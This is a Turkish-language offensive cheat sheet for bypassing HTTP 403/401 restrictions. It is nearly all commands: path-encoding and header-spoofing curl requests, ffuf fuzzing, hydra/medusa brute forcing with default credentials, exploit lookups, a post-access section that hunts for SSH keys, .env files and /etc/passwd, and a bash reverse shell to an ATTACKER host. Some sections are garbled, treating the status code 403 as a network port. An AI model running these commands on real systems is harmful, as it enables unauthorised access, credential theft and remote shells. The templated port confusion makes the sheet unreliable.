403 & 401 Bypasses

403 bypass web

403/401 engeli sıkça path normalize, header spoof veya method override ile aşılır. Amaç korunan kaynağa erişim. Hedef lab IP’si üzerinde komutları 403 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. Baseline 403/401 yanıtını al.

2. Path ve encoding varyasyonları.

3. Header/IP spoof.

4. Method override ve CDN tuhaflıkları.

Baseline

curl -vk https://TARGET/admin -o /dev/null -w '%{http_code}'

ffuf -u https://TARGET/FUZZ -w raft-small.txt -mc 200,301,302,403

Path tricks

curl -vk https://TARGET/admin/.

curl -vk https://TARGET/admin..;/

curl -vk https://TARGET/%2e/admin

curl -vk https://TARGET/admin%20

curl -vk https://TARGET//admin//

Headers

curl -vk https://TARGET/admin -H 'X-Original-URL: /admin'

curl -vk https://TARGET/admin -H 'X-Forwarded-For: 127.0.0.1'

curl -vk https://TARGET/admin -H 'X-Custom-IP-Authorization: 127.0.0.1'

curl -vk -X POST https://TARGET/admin -H 'X-HTTP-Method-Override: GET'

Araçlar

python3 403bypasser.py -u https://TARGET/admin

ffuf -u https://TARGET/admin -H 'X-Forwarded-For: FUZZ' -w bypass-ips.txt -mc 200

Derin enum

& 401 Bypasses için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p403,401 TARGET

nmap -Pn -p403 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:403' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',403));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → & 401 Bypasses

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 403 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 403

nmap -p403 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit 403 bypass

msfconsole -q -x 'search 403 bypass; exit'

nuclei -u https://TARGET:403 -t cves/ -silent -severity || true

nuclei -u http://TARGET:403 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 403

printf '
' | timeout 3 nc -nv TARGET 403

curl -vk --http1.0 http://TARGET:403/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

403 → path/header fuzz → 200 → authenticated content